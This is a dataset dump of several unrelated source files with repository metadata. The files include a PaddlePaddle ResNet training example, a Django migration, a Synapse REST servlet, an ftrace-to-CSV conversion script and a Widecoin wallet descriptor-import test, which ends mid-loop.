deprecated/fleet_x/examples/resnet_app.py
hutuxian/FleetX
843c7aa33f5a14680becf058a3aaf0327eefafd4
[ "Apache-2.0" ]
67
2020-08-14T02:07:46.000Z
2022-03-28T10:05:33.000Z
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import paddle import fleetx as X import paddle.distributed.fleet as fleet paddle.enable_static() configs = X.parse_train_configs() fleet.init(is_collective=True) model = X.applications.Resnet50() downloader = X.utils.Downloader() local_path = downloader.download_from_bos( fs_yaml='https://fleet.bj.bcebos.com/test/loader/small_imagenet.yaml', local_path='./data') loader = model.get_train_dataloader(local_path, batch_size=32) dist_strategy = fleet.DistributedStrategy() dist_strategy.amp = True optimizer = paddle.fluid.optimizer.Momentum( learning_rate=configs.lr, momentum=configs.momentum, regularization=paddle.fluid.regularizer.L2Decay(0.0001)) optimizer = fleet.distributed_optimizer(optimizer, strategy=dist_strategy) optimizer.minimize(model.loss) trainer = X.MultiGPUTrainer() trainer.fit(model, loader, epoch=1)
36.45
74
0.781893
import paddle import fleetx as X import paddle.distributed.fleet as fleet paddle.enable_static() configs = X.parse_train_configs() fleet.init(is_collective=True) model = X.applications.Resnet50() downloader = X.utils.Downloader() local_path = downloader.download_from_bos( fs_yaml='https://fleet.bj.bcebos.com/test/loader/small_imagenet.yaml', local_path='./data') loader = model.get_train_dataloader(local_path, batch_size=32) dist_strategy = fleet.DistributedStrategy() dist_strategy.amp = True optimizer = paddle.fluid.optimizer.Momentum( learning_rate=configs.lr, momentum=configs.momentum, regularization=paddle.fluid.regularizer.L2Decay(0.0001)) optimizer = fleet.distributed_optimizer(optimizer, strategy=dist_strategy) optimizer.minimize(model.loss) trainer = X.MultiGPUTrainer() trainer.fit(model, loader, epoch=1)
true
true
f73d76b09c135ba5d55ef4f0f5b231a916ed2b28
977
py
Python
pythonspain/contrib/sites/migrations/0003_set_site_domain_and_name.py
python-spain/socios.es.python.org
993153dcb3f35b928633c933a84e0330aae59524
[ "MIT" ]
null
null
null
pythonspain/contrib/sites/migrations/0003_set_site_domain_and_name.py
python-spain/socios.es.python.org
993153dcb3f35b928633c933a84e0330aae59524
[ "MIT" ]
null
null
null
pythonspain/contrib/sites/migrations/0003_set_site_domain_and_name.py
python-spain/socios.es.python.org
993153dcb3f35b928633c933a84e0330aae59524
[ "MIT" ]
null
null
null
""" To understand why this file is here, please read: http://cookiecutter-django.readthedocs.io/en/latest/faq.html#why-is-there-a-django-contrib-sites-directory-in-cookiecutter-django """ from django.conf import settings from django.db import migrations def update_site_forward(apps, schema_editor): """Set site domain and name.""" Site = apps.get_model("sites", "Site") Site.objects.update_or_create( id=settings.SITE_ID, defaults={"domain": "es.python.org", "name": "Python Spain"}, ) def update_site_backward(apps, schema_editor): """Revert site domain and name to default.""" Site = apps.get_model("sites", "Site") Site.objects.update_or_create( id=settings.SITE_ID, defaults={"domain": "example.com", "name": "example.com"} ) class Migration(migrations.Migration): dependencies = [("sites", "0002_alter_domain_unique")] operations = [migrations.RunPython(update_site_forward, update_site_backward)]
30.53125
129
0.710338
from django.conf import settings from django.db import migrations def update_site_forward(apps, schema_editor): Site = apps.get_model("sites", "Site") Site.objects.update_or_create( id=settings.SITE_ID, defaults={"domain": "es.python.org", "name": "Python Spain"}, ) def update_site_backward(apps, schema_editor): Site = apps.get_model("sites", "Site") Site.objects.update_or_create( id=settings.SITE_ID, defaults={"domain": "example.com", "name": "example.com"} ) class Migration(migrations.Migration): dependencies = [("sites", "0002_alter_domain_unique")] operations = [migrations.RunPython(update_site_forward, update_site_backward)]
true
true
f73d78d4c87d7d3dc474fae5ea527ac7c5a4240f
2,307
py
Python
synapse/rest/client/custom/custom.py
alirad18/matrix
c26283017b168cf29be8db70ea661a59e8e14e68
[ "Apache-2.0" ]
null
null
null
synapse/rest/client/custom/custom.py
alirad18/matrix
c26283017b168cf29be8db70ea661a59e8e14e68
[ "Apache-2.0" ]
null
null
null
synapse/rest/client/custom/custom.py
alirad18/matrix
c26283017b168cf29be8db70ea661a59e8e14e68
[ "Apache-2.0" ]
null
null
null
from synapse.api.errors import Codes, LoginError, SynapseError from synapse.api.ratelimiting import Ratelimiter from synapse.http.server import finish_request from synapse.http.servlet import ( RestServlet, parse_json_object_from_request, parse_string, ) from synapse.http.site import SynapseRequest from synapse.rest.client.v2_alpha._base import client_patterns from synapse.rest.well_known import WellKnownBuilder from synapse.types import UserID from synapse.util.msisdn import phone_number_to_msisdn from synapse.storage._base import SQLBaseStore class CustomRestServlet(RestServlet): PATTERNS = client_patterns("/custom$", v1=True) def __init__(self, hs): super(CustomRestServlet, self).__init__() self.hs = hs self.store = hs.get_datastore() self.jwt_enabled = hs.config.jwt_enabled self.jwt_secret = hs.config.jwt_secret self.jwt_algorithm = hs.config.jwt_algorithm self.saml2_enabled = hs.config.saml2_enabled self.cas_enabled = hs.config.cas_enabled self.oidc_enabled = hs.config.oidc_enabled self.auth_handler = self.hs.get_auth_handler() self.registration_handler = hs.get_registration_handler() self.handlers = hs.get_handlers() self._well_known_builder = WellKnownBuilder(hs) self._address_ratelimiter = Ratelimiter( clock=hs.get_clock(), rate_hz=self.hs.config.rc_login_address.per_second, burst_count=self.hs.config.rc_login_address.burst_count, ) self._account_ratelimiter = Ratelimiter( clock=hs.get_clock(), rate_hz=self.hs.config.rc_login_account.per_second, burst_count=self.hs.config.rc_login_account.burst_count, ) self._failed_attempts_ratelimiter = Ratelimiter( clock=hs.get_clock(), rate_hz=self.hs.config.rc_login_failed_attempts.per_second, burst_count=self.hs.config.rc_login_failed_attempts.burst_count, ) async def on_POST(self, request): body = parse_json_object_from_request(request,True) await self.store.insert_custom_table(data=body['data']) return 200, "done" def register_servlets(hs, http_server): CustomRestServlet(hs).register(http_server)
34.432836
76
0.718249
from synapse.api.errors import Codes, LoginError, SynapseError from synapse.api.ratelimiting import Ratelimiter from synapse.http.server import finish_request from synapse.http.servlet import ( RestServlet, parse_json_object_from_request, parse_string, ) from synapse.http.site import SynapseRequest from synapse.rest.client.v2_alpha._base import client_patterns from synapse.rest.well_known import WellKnownBuilder from synapse.types import UserID from synapse.util.msisdn import phone_number_to_msisdn from synapse.storage._base import SQLBaseStore class CustomRestServlet(RestServlet): PATTERNS = client_patterns("/custom$", v1=True) def __init__(self, hs): super(CustomRestServlet, self).__init__() self.hs = hs self.store = hs.get_datastore() self.jwt_enabled = hs.config.jwt_enabled self.jwt_secret = hs.config.jwt_secret self.jwt_algorithm = hs.config.jwt_algorithm self.saml2_enabled = hs.config.saml2_enabled self.cas_enabled = hs.config.cas_enabled self.oidc_enabled = hs.config.oidc_enabled self.auth_handler = self.hs.get_auth_handler() self.registration_handler = hs.get_registration_handler() self.handlers = hs.get_handlers() self._well_known_builder = WellKnownBuilder(hs) self._address_ratelimiter = Ratelimiter( clock=hs.get_clock(), rate_hz=self.hs.config.rc_login_address.per_second, burst_count=self.hs.config.rc_login_address.burst_count, ) self._account_ratelimiter = Ratelimiter( clock=hs.get_clock(), rate_hz=self.hs.config.rc_login_account.per_second, burst_count=self.hs.config.rc_login_account.burst_count, ) self._failed_attempts_ratelimiter = Ratelimiter( clock=hs.get_clock(), rate_hz=self.hs.config.rc_login_failed_attempts.per_second, burst_count=self.hs.config.rc_login_failed_attempts.burst_count, ) async def on_POST(self, request): body = parse_json_object_from_request(request,True) await self.store.insert_custom_table(data=body['data']) return 200, "done" def register_servlets(hs, http_server): CustomRestServlet(hs).register(http_server)
true
true
f73d794d94e01d51ad469bc5cce5961e458b530f
887
py
Python
singletask_sql/tests/task.py
lenaKuznetsova/singletask-sql
460d1c3ca41e3a5c4ca263a4ebe03ab7664ddcdb
[ "MIT" ]
null
null
null
singletask_sql/tests/task.py
lenaKuznetsova/singletask-sql
460d1c3ca41e3a5c4ca263a4ebe03ab7664ddcdb
[ "MIT" ]
null
null
null
singletask_sql/tests/task.py
lenaKuznetsova/singletask-sql
460d1c3ca41e3a5c4ca263a4ebe03ab7664ddcdb
[ "MIT" ]
null
null
null
from singletask_sql.tests import DBTestCase from sqlalchemy import orm from sqlalchemy import func from singletask_sql.tables import TasksTable from singletask_sql.tables.utils import query as query_utils # https://docs.sqlalchemy.org/en/14/orm/query.html def create_task(description): task = TasksTable() task.description = description task.domains = f"{description} domains" task.tags = f"{description} tasks" return task class TaskTestCase(DBTestCase): def test(self): with orm.Session(self.sql_engine) as session: query = session.query(func.count(TasksTable.id)) result = session.execute(query).all() print(result) query = session.query(func.count(TasksTable.id)) query = query_utils.include_deleted(query) result = session.execute(query).all() print(result)
28.612903
60
0.689966
from singletask_sql.tests import DBTestCase from sqlalchemy import orm from sqlalchemy import func from singletask_sql.tables import TasksTable from singletask_sql.tables.utils import query as query_utils def create_task(description): task = TasksTable() task.description = description task.domains = f"{description} domains" task.tags = f"{description} tasks" return task class TaskTestCase(DBTestCase): def test(self): with orm.Session(self.sql_engine) as session: query = session.query(func.count(TasksTable.id)) result = session.execute(query).all() print(result) query = session.query(func.count(TasksTable.id)) query = query_utils.include_deleted(query) result = session.execute(query).all() print(result)
true
true
f73d7a3da7b1dac0df68ad168d117cc906b15f50
5,920
py
Python
BlakesWork/dat_to_csv.py
benjaminy/ThreadMeasurement
4223eed47d776c611a5e3c299ab2f368dae9d5be
[ "MIT" ]
null
null
null
BlakesWork/dat_to_csv.py
benjaminy/ThreadMeasurement
4223eed47d776c611a5e3c299ab2f368dae9d5be
[ "MIT" ]
null
null
null
BlakesWork/dat_to_csv.py
benjaminy/ThreadMeasurement
4223eed47d776c611a5e3c299ab2f368dae9d5be
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 '''This takes an input .dat file name and an output file name as parameters. If no output file name is supplied, it will have the same name as the .dat file except it will be .csv. The input file is assumed to be in the Linux Ftrace .dat format. This program reads the input file and converts it into a csv format.''' import sys, subprocess, tempfile, csv import matplotlib.pyplot as plt def main (): if len(sys.argv) <= 1 or len(sys.argv) > 3: print ('Please supply the .dat file name as the first parameter. You may supply the desired output file name as the second parameter if you wish.') exit(-1) if (len(sys.argv) == 3): infile = sys.argv[1] outfile = sys.argv[2] if (len(sys.argv) == 2): infile = sys.argv[1] outfile = infile[0:-4] + '.csv' txt_file = tempfile.NamedTemporaryFile(mode='w+b') dat_to_txt(infile, txt_file.name) data = [] for line in txt_file: line = line.decode('utf-8') if 'sched_switch' in line: event = breakup(line) data.append(event) add_durations(data) data = trim(data) data = remove_idles(data) give_ids(data) add_apids(data) collapse(data) save(data, outfile) def add_apids (data): for i in range(len(data)): data[i].append(i) def remove_idles (indata): idles = ['swapper/0', 'swapper/1', 'swapper/2', 'swapper/3'] ret = [] for line in indata: if (line[1] not in idles) and (not line[3] == 0.0): ret.append(line) return ret def add_durations(data): for i in range(len(data)): data[i].append(get_duration(i,data)) def collapse (data): prev = {} max_int = 0.000001 max_betweens = 2 count = 0 total = 0 for line in data: total += 1 ipid = line[4] if ipid not in prev: prev[ipid] = line continue interval = float(line[2]) - (float(prev[ipid][2]) + float(prev[ipid][3])) between = int(line[5]) - int(prev[ipid][5]) prev[ipid] = line if interval <= max_int and between <= max_betweens: count += 1 print(str(count) + ' / '+str(total)) print(count/total) def give_ids (data): table = {} current_id = 0 for i in range(len(data)): tup = (data[i][0], data[i][1]) if tup in table.keys(): data[i].append(table[tup]) else: table[tup] = current_id data[i].append(current_id) current_id += 1 def trim (data): ret = [] for line in data: newline = [] newline.append(line[3]) newline.append(line[4]) newline.append(line[6]) newline.append(line[10]) ret.append(newline) assert len(ret) == len(data) return ret def get_duration(index, data): line = data[index] index += 1 for i in range(index, len(data)): if int(line[5]) == int(data[i][5]): return float(data[i][6]) - float(line[6]) return 0.0 #For the last thread on each processor because duration is unknown def save (data, outfile): outf = open(outfile, 'w') headers = ['PID', 'Name', 'Start Time', 'Duration', 'IPID', 'APID'] a = csv.writer(outf, delimiter=',') a.writerow(headers) for line in data: a.writerow(line) def breakup(linestr): line = linestr.split(' ') line = list(filter(None, line)) towrite = ['Event Type', 'Old PID', 'Old Process Name', 'New PID', 'New Process Name', 'Processor', 'Time Stamp', 'Previous State', 'Old Priority', 'New Priority'] # Sometimes there are spaces in the process names # We have a problem if there are '[' or ']' and spaces in a single process name # Also a problem if there is a process called 'sched_switch' if len(line) > len(towrite): halfs = linestr.split('==>') second = halfs[1].split(' ') second = list(filter(None, second)) second = '_'.join(second) second = second.split('_[') second = ' ['.join(second) second = second.split(' ') first = halfs[0].split('sched_switch:') first0 = first[0].split(' ') first0 = list(filter(None, first0)) first0 = '_'.join(first0) first0 = first0.split('_[') first0 = ' ['.join(first0) first0 = first0.split(']_') first0 = '] '.join(first0) first0 = first0.split(' ') first1 = first[1].split(' ') first1 = list(filter(None, first1)) first1 = '_'.join(first1) first1 = first1.split('_[') first1 = ' ['.join(first1) first1 = first1.split(']_') first1 = '] '.join(first1) first1 = first1.split(' ') first = first0 + ['sched_switch:'] + first1 line = first + ['==>'] + second if not len(line) == len(towrite): print (line) assert len(line) == len(towrite) towrite[0] = line[3].rstrip(':') tup = line[4].split(':') # Apparently some process names also contain ':' towrite[2] = ':'.join(tup[0:-1]) towrite[1] = tup[-1] tup = line[8].split(':') towrite[4] = ':'.join(tup[0:-1]) towrite[3] = tup[-1] towrite[5] = int(line[1].strip('[]')) towrite[6] = line[2].rstrip(':') towrite[7] = line[6] towrite[8] = line[5].strip('[]') towrite[9] = line[9].strip('[]\n') return towrite def dat_to_txt(in_name, out_name): try: cmd = ['trace-cmd report -i '+in_name+' > '+out_name] return_code = subprocess.call(cmd, shell=True) if return_code != 0: print (out_name) print ('Bad return code '+str(return_code)) raise Exception() except: print ('Command failed') raise if __name__ == '__main__': main()
29.89899
167
0.556419
import sys, subprocess, tempfile, csv import matplotlib.pyplot as plt def main (): if len(sys.argv) <= 1 or len(sys.argv) > 3: print ('Please supply the .dat file name as the first parameter. You may supply the desired output file name as the second parameter if you wish.') exit(-1) if (len(sys.argv) == 3): infile = sys.argv[1] outfile = sys.argv[2] if (len(sys.argv) == 2): infile = sys.argv[1] outfile = infile[0:-4] + '.csv' txt_file = tempfile.NamedTemporaryFile(mode='w+b') dat_to_txt(infile, txt_file.name) data = [] for line in txt_file: line = line.decode('utf-8') if 'sched_switch' in line: event = breakup(line) data.append(event) add_durations(data) data = trim(data) data = remove_idles(data) give_ids(data) add_apids(data) collapse(data) save(data, outfile) def add_apids (data): for i in range(len(data)): data[i].append(i) def remove_idles (indata): idles = ['swapper/0', 'swapper/1', 'swapper/2', 'swapper/3'] ret = [] for line in indata: if (line[1] not in idles) and (not line[3] == 0.0): ret.append(line) return ret def add_durations(data): for i in range(len(data)): data[i].append(get_duration(i,data)) def collapse (data): prev = {} max_int = 0.000001 max_betweens = 2 count = 0 total = 0 for line in data: total += 1 ipid = line[4] if ipid not in prev: prev[ipid] = line continue interval = float(line[2]) - (float(prev[ipid][2]) + float(prev[ipid][3])) between = int(line[5]) - int(prev[ipid][5]) prev[ipid] = line if interval <= max_int and between <= max_betweens: count += 1 print(str(count) + ' / '+str(total)) print(count/total) def give_ids (data): table = {} current_id = 0 for i in range(len(data)): tup = (data[i][0], data[i][1]) if tup in table.keys(): data[i].append(table[tup]) else: table[tup] = current_id data[i].append(current_id) current_id += 1 def trim (data): ret = [] for line in data: newline = [] newline.append(line[3]) newline.append(line[4]) newline.append(line[6]) newline.append(line[10]) ret.append(newline) assert len(ret) == len(data) return ret def get_duration(index, data): line = data[index] index += 1 for i in range(index, len(data)): if int(line[5]) == int(data[i][5]): return float(data[i][6]) - float(line[6]) return 0.0 def save (data, outfile): outf = open(outfile, 'w') headers = ['PID', 'Name', 'Start Time', 'Duration', 'IPID', 'APID'] a = csv.writer(outf, delimiter=',') a.writerow(headers) for line in data: a.writerow(line) def breakup(linestr): line = linestr.split(' ') line = list(filter(None, line)) towrite = ['Event Type', 'Old PID', 'Old Process Name', 'New PID', 'New Process Name', 'Processor', 'Time Stamp', 'Previous State', 'Old Priority', 'New Priority'] if len(line) > len(towrite): halfs = linestr.split('==>') second = halfs[1].split(' ') second = list(filter(None, second)) second = '_'.join(second) second = second.split('_[') second = ' ['.join(second) second = second.split(' ') first = halfs[0].split('sched_switch:') first0 = first[0].split(' ') first0 = list(filter(None, first0)) first0 = '_'.join(first0) first0 = first0.split('_[') first0 = ' ['.join(first0) first0 = first0.split(']_') first0 = '] '.join(first0) first0 = first0.split(' ') first1 = first[1].split(' ') first1 = list(filter(None, first1)) first1 = '_'.join(first1) first1 = first1.split('_[') first1 = ' ['.join(first1) first1 = first1.split(']_') first1 = '] '.join(first1) first1 = first1.split(' ') first = first0 + ['sched_switch:'] + first1 line = first + ['==>'] + second if not len(line) == len(towrite): print (line) assert len(line) == len(towrite) towrite[0] = line[3].rstrip(':') tup = line[4].split(':') towrite[2] = ':'.join(tup[0:-1]) towrite[1] = tup[-1] tup = line[8].split(':') towrite[4] = ':'.join(tup[0:-1]) towrite[3] = tup[-1] towrite[5] = int(line[1].strip('[]')) towrite[6] = line[2].rstrip(':') towrite[7] = line[6] towrite[8] = line[5].strip('[]') towrite[9] = line[9].strip('[]\n') return towrite def dat_to_txt(in_name, out_name): try: cmd = ['trace-cmd report -i '+in_name+' > '+out_name] return_code = subprocess.call(cmd, shell=True) if return_code != 0: print (out_name) print ('Bad return code '+str(return_code)) raise Exception() except: print ('Command failed') raise if __name__ == '__main__': main()
true
true
f73d7a91601d85d365c564ff12cdc3232fdd1951
35,827
py
Python
test/functional/wallet_importdescriptors.py
widecoin-project/widecoin
143b190a61f95a4b7d40c5da484cdde8f0c5ac3f
[ "MIT" ]
8
2021-04-17T16:11:50.000Z
2021-06-23T05:30:39.000Z
test/functional/wallet_importdescriptors.py
widecoin-project/widecoin
143b190a61f95a4b7d40c5da484cdde8f0c5ac3f
[ "MIT" ]
1
2021-04-18T11:57:59.000Z
2021-04-18T11:57:59.000Z
test/functional/wallet_importdescriptors.py
widecoin-project/widecoin
143b190a61f95a4b7d40c5da484cdde8f0c5ac3f
[ "MIT" ]
7
2021-04-17T16:04:12.000Z
2021-06-10T00:54:53.000Z
#!/usr/bin/env python3 # Copyright (c) 2019-2020 The Widecoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test the importdescriptors RPC. Test importdescriptors by generating keys on node0, importing the corresponding descriptors on node1 and then testing the address info for the different address variants. - `get_generate_key()` is called to generate keys and return the privkeys, pubkeys and all variants of scriptPubKey and address. - `test_importdesc()` is called to send an importdescriptors call to node1, test success, and (if unsuccessful) test the error code and error message returned. - `test_address()` is called to call getaddressinfo for an address on node1 and test the values returned.""" from test_framework.address import key_to_p2pkh from test_framework.blocktools import COINBASE_MATURITY from test_framework.test_framework import WidecoinTestFramework from test_framework.descriptors import descsum_create from test_framework.util import ( assert_equal, assert_raises_rpc_error, find_vout_for_address, ) from test_framework.wallet_util import ( get_generate_key, test_address, ) class ImportDescriptorsTest(WidecoinTestFramework): def set_test_params(self): self.num_nodes = 2 self.extra_args = [["-addresstype=legacy"], ["-addresstype=bech32", "-keypool=5"] ] self.setup_clean_chain = True self.wallet_names = [] def skip_test_if_missing_module(self): self.skip_if_no_wallet() self.skip_if_no_sqlite() def test_importdesc(self, req, success, error_code=None, error_message=None, warnings=None, wallet=None): """Run importdescriptors and assert success""" if warnings is None: warnings = [] wrpc = self.nodes[1].get_wallet_rpc('w1') if wallet is not None: wrpc = wallet result = wrpc.importdescriptors([req]) observed_warnings = [] if 'warnings' in result[0]: observed_warnings = result[0]['warnings'] assert_equal("\n".join(sorted(warnings)), "\n".join(sorted(observed_warnings))) assert_equal(result[0]['success'], success) if error_code is not None: assert_equal(result[0]['error']['code'], error_code) assert_equal(result[0]['error']['message'], error_message) def run_test(self): self.log.info('Setting up wallets') self.nodes[0].createwallet(wallet_name='w0', disable_private_keys=False, descriptors=True) w0 = self.nodes[0].get_wallet_rpc('w0') self.nodes[1].createwallet(wallet_name='w1', disable_private_keys=True, blank=True, descriptors=True) w1 = self.nodes[1].get_wallet_rpc('w1') assert_equal(w1.getwalletinfo()['keypoolsize'], 0) self.nodes[1].createwallet(wallet_name="wpriv", disable_private_keys=False, blank=True, descriptors=True) wpriv = self.nodes[1].get_wallet_rpc("wpriv") assert_equal(wpriv.getwalletinfo()['keypoolsize'], 0) self.log.info('Mining coins') w0.generatetoaddress(COINBASE_MATURITY + 1, w0.getnewaddress()) # RPC importdescriptors ----------------------------------------------- # # Test import fails if no descriptor present self.log.info("Import should fail if a descriptor is not provided") self.test_importdesc({"timestamp": "now"}, success=False, error_code=-8, error_message='Descriptor not found.') # # Test importing of a P2PKH descriptor key = get_generate_key() self.log.info("Should import a p2pkh descriptor") import_request = {"desc": descsum_create("pkh(" + key.pubkey + ")"), "timestamp": "now", "label": "Descriptor import test"} self.test_importdesc(import_request, success=True) test_address(w1, key.p2pkh_addr, solvable=True, ismine=True, labels=["Descriptor import test"]) assert_equal(w1.getwalletinfo()['keypoolsize'], 0) self.log.info("Test can import same descriptor with public key twice") self.test_importdesc(import_request, success=True) self.log.info("Test can update descriptor label") self.test_importdesc({**import_request, "label": "Updated label"}, success=True) test_address(w1, key.p2pkh_addr, solvable=True, ismine=True, labels=["Updated label"]) self.log.info("Internal addresses cannot have labels") self.test_importdesc({**import_request, "internal": True}, success=False, error_code=-8, error_message="Internal addresses should not have a label") self.log.info("Internal addresses should be detected as such") key = get_generate_key() addr = key_to_p2pkh(key.pubkey) self.test_importdesc({"desc": descsum_create("pkh(" + key.pubkey + ")"), "timestamp": "now", "internal": True}, success=True) info = w1.getaddressinfo(addr) assert_equal(info["ismine"], True) assert_equal(info["ischange"], True) # # Test importing of a P2SH-P2WPKH descriptor key = get_generate_key() self.log.info("Should not import a p2sh-p2wpkh descriptor without checksum") self.test_importdesc({"desc": "sh(wpkh(" + key.pubkey + "))", "timestamp": "now" }, success=False, error_code=-5, error_message="Missing checksum") self.log.info("Should not import a p2sh-p2wpkh descriptor that has range specified") self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"), "timestamp": "now", "range": 1, }, success=False, error_code=-8, error_message="Range should not be specified for an un-ranged descriptor") self.log.info("Should not import a p2sh-p2wpkh descriptor and have it set to active") self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"), "timestamp": "now", "active": True, }, success=False, error_code=-8, error_message="Active descriptors must be ranged") self.log.info("Should import a (non-active) p2sh-p2wpkh descriptor") self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"), "timestamp": "now", "active": False, }, success=True) assert_equal(w1.getwalletinfo()['keypoolsize'], 0) test_address(w1, key.p2sh_p2wpkh_addr, ismine=True, solvable=True) # Check persistence of data and that loading works correctly w1.unloadwallet() self.nodes[1].loadwallet('w1') test_address(w1, key.p2sh_p2wpkh_addr, ismine=True, solvable=True) # # Test importing of a multisig descriptor key1 = get_generate_key() key2 = get_generate_key() self.log.info("Should import a 1-of-2 bare multisig from descriptor") self.test_importdesc({"desc": descsum_create("multi(1," + key1.pubkey + "," + key2.pubkey + ")"), "timestamp": "now"}, success=True) self.log.info("Should not treat individual keys from the imported bare multisig as watchonly") test_address(w1, key1.p2pkh_addr, ismine=False) # # Test ranged descriptors xpriv = "tprv8ZgxMBicQKsPeuVhWwi6wuMQGfPKi9Li5GtX35jVNknACgqe3CY4g5xgkfDDJcmtF7o1QnxWDRYw4H5P26PXq7sbcUkEqeR4fg3Kxp2tigg" xpub = "tpubD6NzVbkrYhZ4YNXVQbNhMK1WqguFsUXceaVJKbmno2aZ3B6QfbMeraaYvnBSGpV3vxLyTTK9DYT1yoEck4XUScMzXoQ2U2oSmE2JyMedq3H" addresses = ["2N7yv4p8G8yEaPddJxY41kPihnWvs39qCMf", "2MsHxyb2JS3pAySeNUsJ7mNnurtpeenDzLA"] # hdkeypath=m/0'/0'/0' and 1' addresses += ["bcrt1qrd3n235cj2czsfmsuvqqpr3lu6lg0ju7scl8gn", "bcrt1qfqeppuvj0ww98r6qghmdkj70tv8qpchehegrg8"] # wpkh subscripts corresponding to the above addresses desc = "sh(wpkh(" + xpub + "/0/0/*" + "))" self.log.info("Ranged descriptors cannot have labels") self.test_importdesc({"desc":descsum_create(desc), "timestamp": "now", "range": [0, 100], "label": "test"}, success=False, error_code=-8, error_message='Ranged descriptors should not have a label') self.log.info("Private keys required for private keys enabled wallet") self.test_importdesc({"desc":descsum_create(desc), "timestamp": "now", "range": [0, 100]}, success=False, error_code=-4, error_message='Cannot import descriptor without private keys to a wallet with private keys enabled', wallet=wpriv) self.log.info("Ranged descriptor import should warn without a specified range") self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now"}, success=True, warnings=['Range not given, using default keypool range']) assert_equal(w1.getwalletinfo()['keypoolsize'], 0) # # Test importing of a ranged descriptor with xpriv self.log.info("Should not import a ranged descriptor that includes xpriv into a watch-only wallet") desc = "sh(wpkh(" + xpriv + "/0'/0'/*'" + "))" self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": 1}, success=False, error_code=-4, error_message='Cannot import private keys to a wallet with private keys disabled') self.log.info("Should not import a descriptor with hardened derivations when private keys are disabled") self.test_importdesc({"desc": descsum_create("wpkh(" + xpub + "/1h/*)"), "timestamp": "now", "range": 1}, success=False, error_code=-4, error_message='Cannot expand descriptor. Probably because of hardened derivations without private keys provided') for address in addresses: test_address(w1, address, ismine=False, solvable=False) self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": -1}, success=False, error_code=-8, error_message='End of range is too high') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [-1, 10]}, success=False, error_code=-8, error_message='Range should be greater or equal than 0') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [(2 << 31 + 1) - 1000000, (2 << 31 + 1)]}, success=False, error_code=-8, error_message='End of range is too high') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [2, 1]}, success=False, error_code=-8, error_message='Range specified as [begin,end] must not have begin after end') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [0, 1000001]}, success=False, error_code=-8, error_message='Range is too large') self.log.info("Verify we can only extend descriptor's range") range_request = {"desc": descsum_create(desc), "timestamp": "now", "range": [5, 10], 'active': True} self.test_importdesc(range_request, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 6) self.test_importdesc({**range_request, "range": [0, 10]}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 11) self.test_importdesc({**range_request, "range": [0, 20]}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 21) # Can keep range the same self.test_importdesc({**range_request, "range": [0, 20]}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 21) self.test_importdesc({**range_request, "range": [5, 10]}, wallet=wpriv, success=False, error_code=-8, error_message='new range must include current range = [0,20]') self.test_importdesc({**range_request, "range": [0, 10]}, wallet=wpriv, success=False, error_code=-8, error_message='new range must include current range = [0,20]') self.test_importdesc({**range_request, "range": [5, 20]}, wallet=wpriv, success=False, error_code=-8, error_message='new range must include current range = [0,20]') assert_equal(wpriv.getwalletinfo()['keypoolsize'], 21) self.log.info("Check we can change descriptor internal flag") self.test_importdesc({**range_request, "range": [0, 20], "internal": True}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 0) assert_raises_rpc_error(-4, 'This wallet has no available keys', wpriv.getnewaddress, '', 'p2sh-segwit') assert_equal(wpriv.getwalletinfo()['keypoolsize_hd_internal'], 21) wpriv.getrawchangeaddress('p2sh-segwit') self.test_importdesc({**range_request, "range": [0, 20], "internal": False}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 21) wpriv.getnewaddress('', 'p2sh-segwit') assert_equal(wpriv.getwalletinfo()['keypoolsize_hd_internal'], 0) assert_raises_rpc_error(-4, 'This wallet has no available keys', wpriv.getrawchangeaddress, 'p2sh-segwit') # Make sure ranged imports import keys in order w1 = self.nodes[1].get_wallet_rpc('w1') self.log.info('Key ranges should be imported in order') xpub = "tpubDAXcJ7s7ZwicqjprRaEWdPoHKrCS215qxGYxpusRLLmJuT69ZSicuGdSfyvyKpvUNYBW1s2U3NSrT6vrCYB9e6nZUEvrqnwXPF8ArTCRXMY" addresses = [ 'bcrt1qtmp74ayg7p24uslctssvjm06q5phz4yrxucgnv', # m/0'/0'/0 'bcrt1q8vprchan07gzagd5e6v9wd7azyucksq2xc76k8', # m/0'/0'/1 'bcrt1qtuqdtha7zmqgcrr26n2rqxztv5y8rafjp9lulu', # m/0'/0'/2 'bcrt1qau64272ymawq26t90md6an0ps99qkrse58m640', # m/0'/0'/3 'bcrt1qsg97266hrh6cpmutqen8s4s962aryy77jp0fg0', # m/0'/0'/4 ] self.test_importdesc({'desc': descsum_create('wpkh([80002067/0h/0h]' + xpub + '/*)'), 'active': True, 'range' : [0, 2], 'timestamp': 'now' }, success=True) self.test_importdesc({'desc': descsum_create('sh(wpkh([abcdef12/0h/0h]' + xpub + '/*))'), 'active': True, 'range' : [0, 2], 'timestamp': 'now' }, success=True) self.test_importdesc({'desc': descsum_create('pkh([12345678/0h/0h]' + xpub + '/*)'), 'active': True, 'range' : [0, 2], 'timestamp': 'now' }, success=True) assert_equal(w1.getwalletinfo()['keypoolsize'], 5 * 3) for i, 